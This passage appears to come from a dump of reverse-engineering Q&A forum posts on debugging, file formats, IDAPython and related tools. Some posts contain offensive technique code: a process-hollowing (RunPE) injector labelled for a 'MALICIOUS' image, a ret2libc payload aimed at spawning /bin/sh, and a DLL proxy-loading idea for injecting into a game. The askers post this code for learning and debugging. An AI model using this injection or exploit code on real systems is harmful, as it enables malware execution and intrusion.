  2. +
+
SRV*c:\symbols*https://msdl.microsoft.com/download/symbols
+
+So I think it is loaded although in section 3 it wrote "no symbols".
+I also run .reload /f but it didn't help. +
    +
  1. Yes it works but only if I set breakpoint on the call itself:
  2. +
+
kd> u fffff802`504a6460
+nt!RtlInitUnicodeString:
+fffff802`504a6460 48c70100000000  mov     qword ptr [rcx],0
+fffff802`504a6467 48895108        mov     qword ptr [rcx+8],rdx
+fffff802`504a646b 4885d2          test    rdx,rdx
+fffff802`504a646e 7501            jne     nt!RtlInitUnicodeString+0x11 (fffff802`504a6471)
+fffff802`504a6470 c3              ret
+fffff802`504a6471 48c7c0ffffffff  mov     rax,0FFFFFFFFFFFFFFFFh
+fffff802`504a6478 0f1f840000000000 nop     dword ptr [rax+rax]
+fffff802`504a6480 48ffc0          inc     rax
+
+
+You can see that it resolve the name nt!RtlInitUnicodeString but only once it hit the breakpoint, you can see that it didn't resolve the two next instructions:
+ +6. +
kd> ln fffff802`504a6460
+Browse module
+Set bu breakpoint
+
+(fffff802`504a6460)   nt!RtlInitUnicodeString   |  (fffff802`504a64b0)   nt!KeEnterCriticalRegion
+Exact matches:
+    nt!RtlInitUnicodeString (void)
+
+
    +
  1. They are being downloaded dynmaically: +SRVc:\symbolshttps://msdl.microsoft.com/download/symbols +
  2. +
+In the environment varible I have it set: +
_NT_SYMBOL_PATH
+SRV*c:\symbols*https://msdl.microsoft.com/download/symbols
+
+
    +
  1. I am not sure what you mean, there are lots of modules, I need to go to each module and pass it?
    +Not sure how to do it.
  2. +
+" +['android']," Title: Android - capture screen with the lowest latency via android native codeBody: I'm trying to catch small fragment of screen during working some Android app which I'm currently reversing. I've tried screencap with various calls but minimum latency which I was able to achieve was 0.8s. I would like to go below 0.1s to get at least 10 FPS. For me it's enough to develop small bin tool in android native code which I'll push on the phone and then run via adb shell. +I've digged a little into screencap.cpp source code and found following callstack: +screencap -> ScreenshotClient::update -> ComposerService->captureScreen -> remote()->transact +Anyway any useful include in sources above are not visible anywhere in android ndk. +Does anybody good in native android code could give me any advice which ndk lib/include can return current screen buffer? I've tried to get buffer from /dev/graphics/fb0 but it's blocked in my phone. +Thanks in advance! +" +"['decompilation', 'elf', 'python']"," Title: Extract PYZ ErrorBody: I successfully recovered some PYC files from an ELF built by PyInstaller (https://github.com/extremecoders-re/pyinstxtractor/wiki/Extracting-Linux-ELF-binaries). There is a PYZ archive in the dump. I tried to use pyi-archive_viewer to open and/or extract some modules from the PYZ. I receive an AttributeError "ZlibArchive object has no attribute open openEmbedded." +The error occurs on line 134 of the source (https://github.com/pyinstaller/pyinstaller/blob/develop/PyInstaller/utils/cliutils/archive_viewer.py) +I believe something is incorrectly parsed/output during extraction...? Has anyone else seen this? +" +['binary-analysis']," Title: Confusing syntax found in malwareBody: I am confused by what the following command is doing: +
00401234  mov     dword [esp+0x35], sub_408678
+
+For context, I'm reversing a piece of malware and am using Binary Ninja, which to my knowledge typically uses the following syntax for low level IL commands: +
mov    dest, src
+
+Is the first command executing the subroutine specified in the src parameter (sub_408678) and storing the result of that command in [esp + 35]? Or just moving the address for later use? I have never seen this syntax before, I'm wondering if someone else has seen a program do this / can tell me what the purpose of writing it this way is. Thank you! +" +"['c', 'pe']"," Title: Why I get 0xc00000005?Body: I'm trying to use RunPE technique (For learning). +First, I tried it on Windows XP(32-bit) and no error occurs but, the injected code for(HelloWorld) didn't run. +Then, I tried to use it on Windows 7 and 10 (64-bit) and get this error[0xc00000005] when the thread resumed. +Why I get this error and why the injected code didn't run on the XP machine? +I tried also to unmap the imagebase(0x00400000) but I had the same problem. +my code: +
int runPe(void* image) {
+
+IMAGE_DOS_HEADER* dosHeader;
+IMAGE_NT_HEADERS* ntHeader;
+IMAGE_SECTION_HEADER* sectionHeader;
+CONTEXT* ctx;
+
+PROCESS_INFORMATION pinfo;
+STARTUPINFO sinfo;
+
+
+int i;
+DWORD* ImageBase = NULL;
+void* pImage = NULL;
+char currentpath[1024];
+
+GetModuleFileNameA(0, currentpath, 1024);       //path to the current exe
+
+//Identifying the MALICIOUS IMAGE HEADERS
+dosHeader = (PIMAGE_DOS_HEADER)(image);
+ntHeader = (PIMAGE_NT_HEADERS)((DWORD)image + dosHeader->e_lfanew);
+
+//Checks if this is a PE FILE
+if (ntHeader->Signature == IMAGE_NT_SIGNATURE) {
+
+    ZeroMemory(&pinfo, sizeof(pinfo));
+    ZeroMemory(&sinfo, sizeof(sinfo));
+
+    if (CreateProcessA(currentpath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sinfo, &pinfo)) {
+        printf("[*] Suspended process is created\n");
+        Sleep(600);
+
+        //Allocate memory for the context of suspended process
+        ctx = (LPCONTEXT)(VirtualAlloc(NULL, sizeof(ctx), MEM_COMMIT, PAGE_READWRITE));
+        if (ctx) {
+            ctx->ContextFlags = CONTEXT_FULL;
+            printf("[*] Context is allocated successfully\n");
+            Sleep(600);
+            
+            //Get the thread context
+            if (GetThreadContext(pinfo.hThread, (LPCONTEXT)ctx)) {
+                printf("[*] Allocating MALICIOUS image headers into the suspended process\n");
+                Sleep(600);
+
+                ReadProcessMemory(pinfo.hProcess,(LPCVOID)(ctx->Ebx + 8), (LPVOID)(&ImageBase), 4, 0);
+
+                pImage = VirtualAllocEx(pinfo.hProcess, NULL,
+                    ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+
+                if (pImage) {
+                    printf("[*] Allocating memory for MALICIOUS image headers into the IMAGE_BASE\n");
+                    Sleep(600);
+
+                    //Writing the image intor the process address space
+                    if (WriteProcessMemory(pinfo.hProcess, (LPVOID)pImage, image, ntHeader->OptionalHeader.SizeOfHeaders, NULL)) {
+                        printf("[*] Writing memory for MALICIOUS image headers into the IMAGE_BASE\n");
+                        Sleep(600);
+
+                        //sectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)image + dosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
+                        for (i = 0; i < ntHeader->FileHeader.NumberOfSections; i++)
+                        {
+
+                            sectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)image + dosHeader->e_lfanew + 248 + (i * sizeof(IMAGE_SECTION_HEADER)));
+                            if (sectionHeader->SizeOfRawData == 00000000)
+                                continue;
+
+                            if (WriteProcessMemory(pinfo.hProcess, (LPVOID)((DWORD)(pImage) + sectionHeader->VirtualAddress),
+                                (LPVOID)((DWORD)image + sectionHeader->PointerToRawData), sectionHeader->SizeOfRawData, 0))
+                            {
+                                printf("[*] Allocating memory for Section %d at %X\n", i, (LPVOID)((DWORD)pImage + sectionHeader->VirtualAddress));
+                                Sleep(600);
+                            }
+                            else
+                            {
+                                printf("ERROR: Writing section (%d) into memory failed\n", i);
+                                printf("Error Code: %d\n", GetLastError());
+                                return -1;
+                            }
+                        }
+
+                        //Change the imageBase address from the suspened process into the MALICIOUS
+                        if (WriteProcessMemory(pinfo.hProcess, (LPVOID)(ctx->Ebx + 8), (LPVOID)(ntHeader->OptionalHeader.ImageBase), 4, 0)) {
+                            printf("[*] Image base address is changed to MALICIOUS\n");
+                            Sleep(600);
+
+                            //Now we will move the address of entrypoint to the MALCIOUS image
+                            // At EAX register
+                            ctx->Eax = (DWORD)pImage + ntHeader->OptionalHeader.AddressOfEntryPoint;
+                            printf("[*] AddressOfEntryPoint is changed to MALICIOUS\n");
+                            Sleep(600);
+                            
+                            //Set Thread Context and resume it
+                            SetThreadContext(pinfo.hProcess, (LPCONTEXT)ctx);
+                            ResumeThread(pinfo.hThread);
+                            printf("[*] Thread is resumed\n");
+                        }
+
+                        else
+                        {
+                            printf("ERROR: Change the imageBase address from the suspened process into the MALICIOUS failed\n");
+                            printf("Error Code: %d\n", GetLastError());
+                            return -1;
+                        }
+                    }
+                    else
+                    {
+                        printf("ERROR: Writing the image into the process address space failed\n");
+                        printf("Error Code: %d\n", GetLastError());
+                        return -1;
+                    }
+        
+                }
+                else
+                {
+                    printf("ERROR: Allocating memory for MALICIOUS image headers into the IMAGE_BASE failed\n");
+                    printf("Error Code: %d\n", GetLastError());
+                    return -1;
+                }
+            }
+            else
+            {
+                printf("ERROR: GetThreadContext failed\n");
+                printf("Error Code: %d\n", GetLastError());
+                return -1;
+            }
+        }
+        else
+        {
+            printf("ERROR: Context allocation failed\n");
+            printf("Error Code: %d\n", GetLastError());
+            return -1;
+        }
+    }
+
+    return 0;
+}
+
+else
+{
+    printf("ERROR: Invalid nt SIGNATURE\n");
+    printf("Error Code: %d\n", GetLastError());
+    return -1;
+}
+
+} +" +"['windows', 'debugging', 'kernel']"," Title: How to find the address (offset) of specific driver functionBody: I am reversing Capcom driver and in IDA I have this list of functions:
+ +I want to set breakpoint on the function sub_10590 but I don't know what is the address of this function when I am doing live debugging. +I set a breakpoint on the userland program before it calls DeviceIoControl and checked the driver object in WinDBG: +
kd> dt _DRIVER_OBJECT ffffe78a4b355810
+nt!_DRIVER_OBJECT
+   +0x000 Type             : 0n4
+   +0x002 Size             : 0n336
+   +0x008 DeviceObject     : 0xffffe78a`4be95850 _DEVICE_OBJECT
+   +0x010 Flags            : 0x12
+   +0x018 DriverStart      : 0xfffff80b`f90b0000 Void
+   +0x020 DriverSize       : 0xc00
+   +0x028 DriverSection    : 0xffffe78a`4d452e80 Void
+   +0x030 DriverExtension  : 0xffffe78a`4b355960 _DRIVER_EXTENSION
+   +0x038 DriverName       : _UNICODE_STRING "\Driver\cfs"
+   +0x048 HardwareDatabase : 0xfffff800`5a5ae8f8 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
+   +0x050 FastIoDispatch   : (null) 
+   +0x058 DriverInit       : 0xfffff80b`f90b063c     long  +0
+   +0x060 DriverStartIo    : (null) 
+   +0x068 DriverUnload     : 0xfffff80b`f90b047c     void  +0
+   +0x070 MajorFunction    : [28] 0xfffff80b`f90b04e4     long  +0
+
+How can I find the address of this function? or its offset cfs+<what_is_the_offset>... +" +"['gdb', 'local-variables']"," Title: How to watch a function's local variable in GDB?Body: I'm reversing a 64bit binary with gdb & peda and I've identified a function of interest (probably encoding user input). I want to watch the function interesting's local variable arg1. +How can I watch a local variable of a known function in gdb? +" +"['file-format', 'encodings']"," Title: Decode bitmaps from Director .dxr filesBody: I'm trying to extract bitmaps from an old Macromedia Director protected .dxr file. I was able to find some information about the file structure from here (it turns out to be a XFIR container, the little endian variant of RIFX), which allowed me to find the specific chunk (called BITD chunk) in which the bitmap is stored, there is also an ALFA chunck which stores (I guess the transpareny of each bitmap pixel). The bitmap is supposed to be losslessly compressed with RLE and to only store raw color data (no size, bit depth, pallette,...) +I have generated a few simple bitmaps with the ancient macromedia and this is what I found out: +
    +
  1. 43 columns, 20 rows rectangle. Color 0xcc6666:
  2. +
+The string "d6ff d6cc d666 d666" is repeated 20 times. +
    +
  1. Square of size 20. Color 0xcc6666:
  2. +
+The string "edff edcc ed66 ed66" is repeated 20 times. +
    +
  1. A similar pattern arises with a square of size 9 and different colors.
  2. +
  3. A row of 5 0x00ffff color pixels followed by another 5 0x000000 color pixels.
  4. +
+The string "ff00 ffff" is repated 5 times followed by the string "ff00 0000" repeated 5 times. +
    +
  1. A row of 10 0x000000 pixels:
  2. +
+The string "0000 0000" is repeated 9 times, followed by "ff00 0000" one last times. +
    +
  1. A row of 11 0x669999 pixels:
  2. +
+The string "f800 01ff fff6 66f6 99f6 9900" is displayed just once. +For here on, I'm unable to recognize any pattern. Any of you recognize this particular format as a part of an standard one that can be opened with some usual program? Any general advise or hint? +" +"['file-format', 'tools', 'encodings', 'binary-diagnosis']"," Title: Reverse engineering a partially known binary formatBody: I have files with binary data, the format description of them is very vague and incomplete. E.g., it states that records start with header byte, like (hex) FA, followed by datetime (accurate down to milliseconds) and other data fields, but no indication of field length, least significant bit (LSB) value, or even the byte endianness of record fields. Overall, the files should represent some sort of message log, and I need to decode them properly into meaningful data. +Given the vagueness, incompleteness and possible errors (see below) in format description, my only hope to achieve the goal is a table that I have. It's describing roughly what's in the binary files. E.g., I know that some field from a specific file must decode to a value near 2700, another field must be -8.77, etc. There's at most one record statement like that, per file. +I've first read this question, but I'm not sure which of those tools can help in my situation. So I've translated my input binary into text files, simply displaying the initial data in hex representation, all in one big string. Splitting it by header bytes yielded some weird picture where each record seemed to have different length in bytes. Further investigation has shown that there are more types of headers (I call them sub-headers) than stated in format description. Also the first 1-byte field seems to indicate how many internal 22-byte blocks of data a record additionally has. This first field is out of place - it should've been datetime, judging by the format description. So, it's not that accurate/trustworthy, but at least it pushed me (seemingly) in the right direction. +I'm totally new to reverse engineering, so my questions may be rather bad, but please bear with me: +
    +
  1. Is my task even possible to do, given the described situation? +
  2. +
  3. If it is, how should I try and find a decoding method? What tools could help find correct field length, LSB and semantic (i.e., which data field is which, as I don't trust that format description too much anymore)? +
  4. +
+

EDIT: Additional information on findings

+Here are some examples of internal 22-byte blocks. One of the records has 7 blocks: +
0018001E030825411C004303076D000D230000013802
+0018002B020B56010C001C030011000D22065D011601
+0018003103166A0052001803000A000D22065D011601
+00187F7301197440390017030779000D22065D011701
+0018002B02230540390019030779000D22065D011E01
+00187F7E032578004A0024030009000D22065D012B01
+00180038012B2501040028030010000D230000013101
+
+Prefixed by 'FE070F600710', where '07' says that there are 7 of them, and '0F600710' seems to be repeated in such prefixes throughout the file. Example of a different, 8-blocks record: +
00187F4C020614414E0030030767000D230000012001
+00187F4E000669414E0031030767000D230000012301
+00180014030E3B004A0028030009000D230000012601
+0018002B0110694042001B030778000D230000011C01
+00187F620321080052001203000A000D230000011601
+0018000B00254440390028030779000D230000012E02
+0018001601345C00420018030008000D230000012401
+0018002B013923404A0010030777000D230000011E01
+
+As we can see, they all start with '0018', so that may be another sub-header, not data. That leaves us with exactly five 4-byte floats, or two 8-byte doubles and extra 4 bytes. +Some columns of '00's can be seen, '0D' seems to also repeat in a column pattern. There's a '03' that is also always present. If we think of them as additional delimiters, fields of 7, 1, 2, and 6 bytes can be guessed, which mostly isn't like some standard single- or double-precision floats. That's why in the initial statement I thought real numbers were coded as integers, with some unknown LSB. +" +"['ida', 'idapython', 'hexrays']"," Title: idapython: how to apply hexrays types to disassembly interfaceBody: I am using idapro 7.5 to get variable information from binaries. +Consider following simple code: +
#include <stdio.h>
+#include <stdlib.h>
+
+int main(int argc, char *argv[])
+{
+  int i, N, array[10];
+
+  N = atoi(argv[10]);
+
+  array[N] = N;
+  array[12] = N;
+  array[0] = 8;
+
+  for(i=0 ; i<N ; i++)
+    array[i] = N;
+
+  printf("%d %d\n", array[12], array[5]);
+  return 0;
+}
+
+Using idapython, I can get function information like stack variables, their sizes, types, etc. using something like - +
for ea in idautils.Functions():
+    for mem in ida_struct.get_struc(idc.get_frame_id(ea)).members:
+        name = ida_struct.get_member_name(mem.id)
+        size = ida_struct.get_member_size(mem)
+        offset = mem.get_soff()
+
+Similarly, I can get global variable information like their name and addresses. +Now, this works fine (particularly in above binary) and I can get array with a size of 12 on correct offset (this makes sense, as I have compiled binary using -g). +But, when I strip the binary, I can't get array size correctly with the above code (this is expected). When I use hex rays - + +Here, ida decompiler was able to recover correct array bounds using decompiler algorithms. And I can also synchronize this with disassembly interface using Synchronize with option in Gui (I assume synchronize function is used to apply predicted types or other information to disassembly interface - I maybe wrong here, please forgive my ignorance). +I would like to know if there is any way I can do that using idapython (I can see some endpoints like sync_sources in ida_kernwin), so that I can use the above code to get variable properties predicted using hex rays. I am familiar with ghidra and you can apply ghidra decompiler predictions to the listing analysis (just like synchronization in ida) using: +
HighFunctionDBUtil.commitLocalsToDatabase(high_func, SourceType.ANALYSIS)
+
+Thus variables get updated in the analysis. +
+Edit: I can manually get function variables using hexrays decompiler +interface like - +
def get_local_vars(ea, stack_size):
+    # can be used to get member size, type, etc.
+    for var in ida_hexrays.decompile(ea).get_lvars():
+        print(var.name)
+        print(-stack_size + var.get_stkoff())
+        print(var.width)
+
+Still, I was not able to find an automatic way to apply hexrays +decompiler interface or sync hexrays decompiler interface with +disassembly interface. +
+" +"['ida', 'script', 'error']"," Title: Problem when opening a script file in IDA (syntax error)(pe_sections.idc)Body: I downloaded the script files from http://www.openrce.org/downloads/details/57/PE_Scripts. +Then i extracted the files in the folder idc in the IDA folder (C:\Program Files\IDA 7.0\idc) +I opened IDA (64 bits) normally and load the PE program , and when i do File>script files> and then select pe_sections.idc the program give me this error : +
C:\Program Files\IDA 7.0\idc\pe_sections.idc: C:\Program Files\IDA 7.0\idc\pe_sections.idc,1887: Syntax error near: 0x8
+
+Is there anything i can do ? i am trying to do patch and changing on the program , thanks for any help . +" +['radare2']," Title: How can I rename location in radare2?Body: In radare2 I would like to be able to rename a node in the graph view. I though setting a flag to the entry of the graph node would also change its title, but the address of the nodes still shows instead. +How can I set the name based on the flag? +Thanks for any help. +" +"['ida', 'idapython']"," Title: how to get all ""called functions"" in idapythonBody: I am using following function to generate a call graph using idapython: +
def generate_graph():
+    callees = dict()
+    # loop through all functions
+    for function_ea in idautils.Functions():
+        f_name = idc.get_func_name(function_ea)
+        # For each of the incoming references
+        for ref_ea in idautils.CodeRefsTo(function_ea, 0):
+            # Get the name of the referring function
+            caller_name = idc.get_func_name(ref_ea)
+            # Add the current function to the list of functions
+            # called by the referring function
+            callees[str(caller_name)] = callees.get(str(caller_name), set())
+            callees[str(caller_name)].add(str(f_name))
+    return callees
+
+function_graph = generate_graph()
+print(function_graph)
+
+This gives me a dictionary with function names as a key and functions called by that function as a value. +For e.g. if "main" calls "foo" and "func", then the dictionary will be: +main:{"foo", "func"} +This is working correctly if function is called directly. But in the case like: +
void function1(char * buf)
+{
+  /*  BAD  */
+  buf[4105] = 'A';
+}
+
+int main(int argc, char *argv[])
+{
+  void (*fptr)(char *);
+  char buf[10];
+
+  fptr = function1;
+
+  fptr(buf);
+
+
+  return 0;
+}
+
+As the function gets called through a register, like: +401140: call rdx +Is there any way I can modify above script (or create a new) to detect such cases? +" +"['java', 'deobfuscation', 'decompile', 'jar']"," Title: How to deobfuscate Java application protected by Java AntidecompilerBody: Here is some infomation I found from MANIFEST.MF +
Archiver-Version: Plexus Archiver
+Built-By: boonb
+Created-By: Apache Maven
+Build-Jdk: 1.8.0_231
+Main-Class: JavaLauncher
+Modified-By: 9.4 (BIS Guard & Co.)
+Protected-By: Java Antidecompiler
+
+Does anyone know how to deobfuscate this? I need a keyword, pls. +" +['binary-format']," Title: Decoding unknown ID format partsBody: I have a data set where events have a unique ID. Some examples: +
CkUKGkNNZmY1TkhObi1zQ0ZWT0h3Z0VkaExJQ0xnEidDSlB0bG9UTG4tc0NGWmhpaXdvZDFxOE5fdzE1OTc1NzY4NzU4Mzg%3D
+CjoKGkNOWHBsX1hJbi1zQ0ZTWks3UW9kRDRNSVdREhxDSXI4emVuSW4tc0NGZm5WVEFJZEVRZ0JrUS0x
+CjkKGkNMTzJ6TkRWbi1zQ0ZUNkh3Z0VkdGVVQnd3EhtDT3ZOajZYVm4tc0NGWUdGY0FvZGJIc09iZzE%3D
+CjkKGkNMcnN4OHZKbi1zQ0ZRMXpnd29kUW9VQll3EhtDSTdfZzVmSm4tc0NGVWFBY0FvZGRsQUhFQTQ%3D
+CjsKGkNMNjlrdFRObi1zQ0ZZMkN3Z0VkVWxnSGxREh1DSktpanFISm4tc0NGVHZCVEFJZEM3a01Udy00OA%3D%3D
+CjkKGkNNQ2ItbzNWbi1zQ0ZkU013Z0VkX2RRRHNBEhtDSlAzcm8zUm4tc0NGV252T0FZZENkUUJyUTU%3D
+CjoKGkNOTzhoZVRRbi1zQ0ZVYTBnZ29kN0VrTnlnEhxDSS1qbmRmUW4tc0NGY1pLaXdvZEgxRUFvUS0w
+CkUKGkNQU0VocjNMbi1zQ0ZaaXNnZ29kQlNjTTZBEidDTVNmbDRiTG4tc0NGWDRBdHdBZF9lQUtPQTE1OTc1NzYyOTkyNDg%3D
+CjkKGkNJLVh3NEhLbi1zQ0ZaV3JEUW9kUzNBSC1BEhtDTmFWeVpuSm4tc0NGZEtSY0FvZFdWNEVvQTE%3D
+CjkKGkNKYnZpb3pSbi1zQ0ZVVkE3UW9kV0xzTnVBEhtDSXlKcktQUW4tc0NGZkhEVEFJZEJtOENGdzQ%3D
+CjsKGkNJRGZsZnpVbi1zQ0ZjM3hnZ29kd1hZRnVREh1DS0t1bE96VW4tc0NGUlQ1V0FvZGE2OElSQS0yNg%3D%3D
+CkUKGkNJVGhuZHpQbi1zQ0ZZMkJ3Z0VkUkk0Q1N3EidDUC1qbDVITm4tc0NGVnBsaXdvZGJ2b0hLUTE1OTc1Nzc0MzU0Mjg%3D
+CkUKGkNPRzc4SkRPbi1zQ0ZkbWhnZ29kckprTWJREidDT2FCdmRUTW4tc0NGYnhDOVFVZExfc0lIQTE1OTc1NzcwMDk0NTQ%3D
+CjoKGkNJN05fZURWbi1zQ0ZZRzJEUW9kamEwTXJ3EhxDTHJ5eVpMVm4tc0NGVWZDVEFJZEkyNEdIQS00
+CkUKGkNNN1F6TERKbi1zQ0ZWbUd3Z0Vkb0RJSzlREidDT3ZBeUszSm4tc0NGU1FfWUFvZEl1UUZ4dzE1OTc1NzU3MzIyNTM%3D
+CjkKGkNJeXlwOV9Kbi1zQ0ZkQzZnZ29kaGdBSWVnEhtDSVdRMzd6Qm4tc0NGWmlDckFJZEFNb05BZzU%3D
+CjoKGkNKQ1YzWnpUbi1zQ0ZjWW5nd29kaUVJRkdREhxDSXVieHBqU24tc0NGVUZrS2dvZElRNElndy0x
+CjkKGkNMVHJrNWpMbi1zQ0ZVa29nd29kSG1FRmtnEhtDS3VXdGRMS24tc0NGUVdIY0FvZFFuWUVfdzA%3D
+CjkKGkNQVDhqOV9Tbi1zQ0ZaUlU3UW9kSGZZQkl3EhtDTV9rak9iUG4tc0NGUkVsandvZFdIa1A5QTg%3D
+CkUKGkNKdmM4S0xRbi1zQ0ZSaktnZ29kdWdRTm5REidDS096NDRQTm4tc0NGUXQ3aXdvZDI1Z0c4dzE1OTc1Nzc1ODMwMDM%3D
+CjoKGkNOM3ZnTXJQbi1zQ0ZaSk03UW9kWmJvQmx3EhxDSUdVcHBMSm4tc0NGWVptTUFvZFg3SVBZUTMy
+CjkKGkNKYjZ6YmZMbi1zQ0ZRNkV3Z0VkaW9FRDZREhtDTV9UcG96TG4tc0NGWWpGY3dFZExiVUp0ZzA%3D
+CjkKGkNPRHZ1Yl9Wbi1zQ0ZZeGU3UW9kMzZ3UG5nEhtDTmYzcFp2R24tc0NGUlpUandvZEt3SUswUTk%3D
+CjkKGkNKcjV3NkRKbi1zQ0ZUNkh3Z0VkT1RZSGtBEhtDUFRJeXB6Sm4tc0NGZmp5T0FZZENqZ1BfZzA%3D
+CkUKGkNOZlM4NlhKbi1zQ0ZRcWhnZ29ka3kwUEt3EidDSVBwcDVUSm4tc0NGZl9GVEFJZGhIa0ZiZzE1OTc1NzU3MDc1Njk%3D
+CjkKGkNONmNsZmJKbi1zQ0ZkYTlnZ29kU3cwRnFBEhtDUEMyOEtMSG4tc0NGZkdDWXdZZDgtTUprUTk%3D
+CkUKGkNLZTJ1TmpSbi1zQ0ZTTGdnZ29kcDJVSkdBEidDTW1YcHF2Um4tc0NGUmhQS2dvZGRPQURUdzE1OTc1Nzc4ODk4NjM%3D
+CjoKGkNOang2NUxUbi1zQ0ZRSlE3UW9kN1JNRUlREhxDSlNRaDZqRm4tc0NGWFJSaFFvZFJmUUlZZzgx
+CkUKGkNLT2dpYXZVbi1zQ0ZRV21EUW9kTngwRy1BEidDSm5lZ3FEUm4tc0NGUzVDaFFvZHlxb0V4dzE1OTc1Nzg2NzI5NjI%3D
+CkUKGkNLaU8tZURKbi1zQ0ZlcUZ3Z0VkRGhrT1V3EidDTFdEcUtISm4tc0NGYXhDaFFvZFlSRUNmUTE1OTc1NzU4MzM3NDM%3D
+CkUKGkNPMkJ1YlBLbi1zQ0ZlUGxnZ29kN3JvUFZBEidDTWlfdlozSm4tc0NGWVBKV0FvZDZwb05hQTE1OTc1NzYwMDY3ODk%3D
+CkUKGkNKR09xS1hTbi1zQ0ZZUkM3UW9kV1FvRzh3EidDUFc2dEkzU24tc0NGUlI0WUFvZGdHb0ZKUTE1OTc1NzgxMjQ0MjY%3D
+CjoKGkNNekd1N2JObi1zQ0ZjeXlnZ29kdmJZTXZBEhxDTnlnN003S24tc0NGVVZDOVFVZFktZ0Zwdy02
+CjoKGkNPemd2cmJPbi1zQ0ZZTnRnd29kbzFvSy1nEhxDTEtMMnFfSm4tc0NGWmRBOVFVZGR5WUVrUTEz
+CjoKGkNLbUxxZXpRbi1zQ0ZaUE1nZ29kbnAwSDRBEhxDTmVqbE96SW4tc0NGUTlIV0FvZDV5QUdaQTEy
+CjsKGkNKcjMzSkhLbi1zQ0ZSaktnZ29kZ2RnS3N3Eh1DT1N3eXBESm4tc0NGYXhTaFFvZExJSUdlUS0xMw%3D%3D
+CkUKGkNKT3luXzdSbi1zQ0ZhSkQ3UW9kLWlRTHNnEidDSUhnaVlqUm4tc0NGWVZCOVFVZFdqc05JQTE1OTc1NzgwNDM3MzE%3D
+CjoKGkNQbWM5UHpQbi1zQ0ZSblBnZ29kTlU0Q3d3EhxDTXVEa3RqS24tc0NGZDVBOVFVZE43MEN1dzIz
+CkUKGkNMX3k5UDdUbi1zQ0ZRU0d3Z0VkQ2tvR2t3EidDSXVqb19IVG4tc0NGU0pEOVFVZGRZMERyZzE1OTc1Nzg1ODAyODI%3D
+CjkKGkNJSGJ0b2pMbi1zQ0ZXSDNnZ29kLW5vTlpREhtDSjNrMV8zS24tc0NGUWJ3T0FZZHlJa01rZzA%3D
+CjoKGkNKT2I4ZHpObi1zQ0ZjcU13Z0VkWjkwRkpBEhxDTUtsc01uTW4tc0NGVnpPVEFJZERmWU9idy0z
+CkUKGkNNSFVtS19Tbi1zQ0ZjT0J3Z0VkcHRVSXBnEidDTnVLbk9mUm4tc0NGYzVQS2dvZG53WURmUTE1OTc1NzgxNDQ2ODg%3D
+CjkKGkNNYXJnS1BKbi1zQ0ZRcVJ3Z0VkemdzSGlREhtDT1RCcTdQQm4tc0NGVWIwT0FZZFFwSUpFUTM%3D
+CkUKGkNJcnFqcGZLbi1zQ0ZVMkh3Z0VkOVpvSHB3EidDS2UyaGZ6Sm4tc0NGWnJIVEFJZDM4a1BjUTE1OTc1NzU5NDY4OTI%3D
+CjkKGkNJdkM4bzdTbi1zQ0ZaV1BnZ29kWWN3SXd3EhtDTGlfby1MSm4tc0NGUXBCaFFvZDMzQU9wZzA%3D
+CkUKGkNKYXRqc1RSbi1zQ0ZaQ2xnZ29kTTAwRGpBEidDSW5mejk3S24tc0NGWVJEaFFvZElNd043dzE1OTc1Nzc5MjE1NTQ%3D
+CkUKGkNMSEgyZGpUbi1zQ0ZZVDBnZ29kOGRzR0tREidDT2lqdTRyUm4tc0NGWWRKWUFvZFg4TU8xdzE1OTc1Nzg1MDA5NDY%3D
+CjoKGkNLQzN3cjNWbi1zQ0ZRRy1nZ29kQXMwSW5REhxDSXV5NXBuR24tc0NGUXotT0FZZHB6a0h5UTE1
+CjkKGkNNXzZpWkRObi1zQ0ZZTHdnZ29kZ0JFRGlREhtDTlRWNElIS24tc0NGVXB3andvZHRoMENfZzQ%3D
+CjoKGkNMNk56dXZQbi1zQ0ZSU3NEUW9kUnRjSGtREhxDTGF0c05yTW4tc0NGUVBoV0FvZHY5Z0xNUS05
+CjkKGkNQVzJsTFRNbi1zQ0ZYNkh3Z0VkY25FTG53EhtDT21CajZmTW4tc0NGZE9CY0FvZHF0b0tsZzA%3D
+
+Starting from the surface, they seem to +
    +
  1. be URL encoded
  2. +
  3. be base64 encoded (although there are only 62 unique characters and = padding)
  4. +
  5. have some struct that contains two URL safe base64 strings https://www.rfc-editor.org/rfc/rfc4648#section-5 +
      +
    • the format is \n<length byte>\n<length byte><first string>\x12<length byte><second string>
    • +
    +
  6. +
+I know what the second string points to, but I'm interested in the first one. +Everything that I've seen so far matches this pattern: +
grp1, grp2, grp3 = re.match(b'^\x08(.{7})\x02\x15(.{4})\x1d(.{4})$', part1_decoded, re.DOTALL).groups()
+
+grp1 can have 128 unique characters, but grp2 and grp3 can have all 256. However, some characters are more common than others. + +
+I'm looking for any clues or analysis methods to find out what groups 1, 2 and 3 are used for. +" +"['exploit', 'libc', 'rop']"," Title: system doesn't invoke /bin/shBody: I am learning libc shellcode attacks and trying to execute /bin/sh from system +I can execute other commands from system like whoami and ls -a but can not run /bin/sh +the following works +
string = b"ls -a\0"
+# system, _exit, system arg 
+b'\xf0\xef\x04\x08', b'\xe3\xd0\x06\x08', string_addr.to_bytes(4, byteorder='little')
+
+but this doesn't work +
string = b"/bin/sh\0"
+# system, _exit, system arg 
+b'\xf0\xef\x04\x08', b'\xe3\xd0\x06\x08', string_addr.to_bytes(4, byteorder='little')
+
+what is going wrong here? +" +['integrated-circuit']," Title: Trying to identify this chipBody: +Tried all kinds of searches (including https://www.alldatasheet.com/ by marking), no result. +Can't even identify the manufacturer logo (PI-like symbol). +" +"['c++', 'function-hooking', 'dll-injection', 'hooking']"," Title: Easy way to attach a DLL to a GameBody: I like to attach a dll to a game to add more features. +The DLL is 95% done, the problem is find the best and easy way to load this dll from the Game. +My idea is use this technique: +
dinput_ori.dll  (old dll).
+dinput.dll      (my dll that point to dinput_ori.dll)
+
+I don't need to access to any member of original DLL, but only load my dll. +I searching for a generic dll source code that do this: +
bool WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
+{
+
+    std::string DLLFileOri = "dinput_ori.dll";
+
+    switch (dwReason)
+    {
+    case DLL_PROCESS_ATTACH:
+        // Load dll
+
+        LoadOriDll(DLLFileOri);
+
